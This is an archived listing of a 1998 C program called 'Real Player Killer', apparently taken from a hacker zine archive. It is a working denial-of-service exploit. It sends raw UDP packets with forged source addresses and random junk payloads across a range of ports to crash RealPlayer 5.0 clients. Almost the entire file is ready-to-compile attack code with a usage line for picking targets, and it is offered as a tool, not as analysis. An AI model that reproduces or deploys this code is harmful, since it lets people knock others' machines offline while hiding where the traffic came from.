home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / rpk.c < prev    next >
Text File  |  1998-12-09  |  4KB  |  159 lines

  1.  
  2. /*
  3.  * Real Player Killer - 6/26/98
  4.  *
  5.  * (C) 1998 Kit Knox <kit@connectnet.com>
  6.  *
  7.  * [ http://www.rootshell.com/ ]
  8.  *
  9.  * Real Player 5.0 for Windows95 and Linux (others untested) do not check
  10.  * the validity of incoming UDP packets used when receiving audio/video.
  11.  *
  12.  * If you are able to determine or brute force the destination port of the
  13.  * stream you are able to crash the player and cause it to use 100% of
  14.  * idle CPU.  I would not be surprised if there are numerous buffer
  15.  * overflows in this area as well.  The client does not even check if the
  16.  * source IP address is the one it is receiving data from.  Any source IP
  17.  * can be used.
  18.  *
  19.  * Generally the stack will start with port 1025 and go up.  Starting there
  20.  * and going up will generally give you good results.  If you are able to
  21.  * sniff the network you will know the exact port and not have to guess.
  22.  *
  23.  */
  24.  
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <string.h>
  28. #include <unistd.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <netinet/in.h>
  32. #include <netinet/in_systm.h>
  33. #include <netinet/ip.h>
  34. #include <linux/udp.h>
  35. #include <netdb.h>
  36.  
  37. #define err(x) { fprintf(stderr, x); exit(1); }
  38. #define errs(x, y) { fprintf(stderr, x, y); exit(1); }
  39.  
  40. char real_data[] =
  41.   { 0x00, 0x00 };
  42.  
  43.  
  44. unsigned short 
  45. in_cksum (addr, len)
  46.      u_short *addr;
  47.      int len;
  48. {
  49.   register int nleft = len;
  50.   register u_short *w = addr;
  51.   register int sum = 0;
  52.   u_short answer = 0;
  53.  
  54.   while (nleft > 1)
  55.     {
  56.       sum += *w++;
  57.       nleft -= 2;
  58.     }
  59.   if (nleft == 1)
  60.     {
  61.       *(u_char *) (&answer) = *(u_char *) w;
  62.       sum += answer;
  63.     }
  64.  
  65.   sum = (sum >> 16) + (sum & 0xffff);
  66.   sum += (sum >> 16);
  67.   answer = ~sum;
  68.   return (answer);
  69. }
  70.  
  71. int 
  72. sendpkt_udp (sin, s, data, datalen, saddr, daddr, sport, dport)
  73.      struct sockaddr_in *sin;
  74.      unsigned short int s, datalen, sport, dport;
  75.      unsigned long int saddr, daddr;
  76.      char *data;
  77. {
  78.   struct iphdr ip;
  79.   struct udphdr udp;
  80.   static char packet[8192];
  81.   char crashme[500];
  82.   int i;
  83.  
  84.   ip.ihl = 5;
  85.   ip.version = 4;
  86.   ip.tos = rand () % 100;;
  87.   ip.tot_len = htons (28 + datalen);
  88.   ip.id = htons (31337 + (rand () % 100));
  89.   ip.frag_off = 0;
  90.   ip.ttl = 255;
  91.   ip.protocol = IPPROTO_UDP;
  92.   ip.check = 0;
  93.   ip.saddr = saddr;
  94.   ip.daddr = daddr;
  95.   ip.check = in_cksum ((char *) &ip, sizeof (ip));
  96.   udp.source = htons (sport);
  97.   udp.dest = htons (dport);
  98.   udp.len = htons (8 + datalen);
  99.   udp.check = (short) 0;
  100.   memcpy (packet, (char *) &ip, sizeof (ip));
  101.   memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp));
  102.   memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen);
  103.   for (i = 0; i < 500; i++)
  104.     crashme[i] = rand () % 255;
  105.   memcpy (packet + sizeof (ip) + sizeof (udp) + datalen, crashme, 500);
  106.   return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen + 500, 0,
  107.           (struct sockaddr *) sin, sizeof (struct sockaddr_in)));
  108. }
  109.  
  110. unsigned int 
  111. lookup (host)
  112.      char *host;
  113. {
  114.   unsigned int addr;
  115.   struct hostent *he;
  116.  
  117.   addr = inet_addr (host);
  118.   if (addr == -1)
  119.     {
  120.       he = gethostbyname (host);
  121.       if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL))
  122.     return 0;
  123.  
  124.       bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
  125.     }
  126.   return (addr);
  127. }
  128.  
  129. void
  130. main (argc, argv)
  131.      int argc;
  132.      char **argv;
  133. {
  134.   unsigned int saddr, daddr;
  135.   struct sockaddr_in sin;
  136.   int s, i;
  137.  
  138.   if (argc != 5)
  139.     errs ("Usage: %s <source_addr> <dest_addr> <low port> <high port>\n", argv[0]);
  140.  
  141.   printf("Real Player Killer - http://www.rootshell.com/\n\n");
  142.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  143.     err ("Unable to open raw socket.\n");
  144.   if (!(saddr = lookup (argv[1])))
  145.     err ("Unable to lookup source address.\n");
  146.   if (!(daddr = lookup (argv[2])))
  147.     err ("Unable to lookup destination address.\n");
  148.   sin.sin_family = AF_INET;
  149.   sin.sin_port = 9;
  150.   sin.sin_addr.s_addr = daddr;
  151.   for (i=atoi(argv[3]); i<atoi(argv[4]); i++)
  152.   if ((sendpkt_udp (&sin, s, &real_data, sizeof (real_data), saddr, daddr, 2014, i)) == -1)
  153.     {
  154.       perror ("sendpkt_udp");
  155.       err ("Error sending the UDP packet.\n");
  156.     }
  157.   printf("Done!\n");
  158. }
  159.